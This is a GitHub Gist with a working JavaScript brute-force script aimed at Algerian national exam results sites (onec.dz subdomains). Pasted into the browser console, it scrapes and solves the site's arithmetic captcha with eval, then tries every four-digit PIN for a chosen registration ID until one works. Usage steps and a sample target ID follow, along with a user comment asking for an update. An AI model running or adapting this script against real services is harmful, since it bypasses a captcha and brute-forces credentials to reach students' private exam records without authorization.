Last active
June 24, 2024 00:14
-
-
Save iMrDJAi/ce9de43b5795c8ac2747269c5da0fcdb to your computer and use it in GitHub Desktop.
onec.dz bruteforce scripts.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
async function bruteforce(id, pass) { | |
pass = ('0000' + pass).slice(-4) | |
const resc = await (async function f() { | |
try { | |
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text() | |
const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/) | |
if (match) { | |
return { | |
formula: match[1], | |
solution: eval(match[1]), | |
token: match[2] | |
} | |
} else { | |
await new Promise(res => setTimeout(() => res(), 200)) | |
return await f() | |
} | |
} catch { | |
await new Promise(res => setTimeout(() => res(), 200)) | |
return await f() | |
} | |
})() | |
const result = await (async function f() { | |
try { | |
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/res/?&mat=${id}&pwd=${pass}&cap=${resc.solution}&token=${resc.token}`)).text() | |
return res | |
} catch { | |
await new Promise(res => setTimeout(() => res(), 200)) | |
return await f() | |
} | |
})() | |
console.log(id + ', ' + pass + ': ', result) | |
if (result == '0' || result == '1') { | |
await new Promise(res => setTimeout(() => res(), 500)) | |
bruteforce(id, pass) | |
} else if (result == '2') { | |
bruteforce(id, + pass + 1) | |
} | |
} | |
//Compatible with: | |
// cinq.onec.dz | |
// bem.onec.dz | |
// bac.onec.dz | |
// www.onec.dz/res20XX | |
//Usage: | |
//1- Paste the code on browser console (ctrl + shift + i / F12) at the results site. | |
//2- Execute (Paste that line) "bruteforce(ID, PASSWORD)": | |
// => Where ID is the target ID (رقم التسجيل) | |
// => And PASSWORD is a number between "0000" and "9999" (the range start point) (الرقم السري) | |
//Example: | |
// bruteforce("72002635", "0000") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@iMrDJAi هل من تحديث؟